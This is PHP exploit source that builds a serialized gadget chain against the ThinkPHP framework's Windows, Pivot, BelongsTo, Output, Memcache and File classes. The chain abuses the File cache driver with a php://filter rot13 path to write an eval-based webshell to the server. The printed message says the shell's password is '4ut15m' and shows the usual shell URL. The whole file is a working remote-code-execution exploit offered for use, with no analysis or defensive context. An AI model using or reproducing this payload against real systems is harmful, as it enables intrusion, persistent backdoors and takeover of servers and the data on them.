<?php

namespace Any0neSec;
use think\process\pipes\Windows;
class Any0ne{

    public function getPayload($command){
        $windows = new Windows();
        echo "This payload will create a webshell on service and the password is 4ut15m.\nNomally the shell url is look like this: http://xxx/public/<?cuc @riny(\$_CBFG[\'4hg15z\']);?>xxxxxxx.php\n";
        return serialize($windows);
    }
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files;
    public function __construct(){
        $this->files = array(new Pivot());
    }
}

namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot {
    public $parent;
    protected $error;
    protected $append;

    public function __construct(){
        $this->append = array('4ut15m' => 'getError');
        $this->error = new BelongsTo();
        $this->parent = new Output();
    }
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo {
    protected $parent;
    protected $query;
    protected $selfRelation;
    protected $bindAttr;

    public function __construct(){
        $this->selfRelation = false;
        $this->query = new ModelNotFoundException();
        $this->bindAttr = array('4ut15m');
    }

}

namespace think\console;
use think\session\driver\Memcache;
class Output{
    private $handle;
    protected $styles;

    public function __construct(){
        $this->styles = ['getAttr'];
        $this->handle = new Memcache();
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException{
    protected $model ;

    public function __construct(){
        $this->model = new Output();
    }
}

namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
    protected $handler;

    public function __construct(){
        $this->handler = new File();
    }
}

namespace think\cache\driver;
use Any0neSec\Any0ne;

class File {
    protected $tag;
    protected $options;
    public function __construct(){
        $this->tag = '4ut15m';
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'4hg15z\']);?>',
            'data_compress' => false,
        ];
    }
}


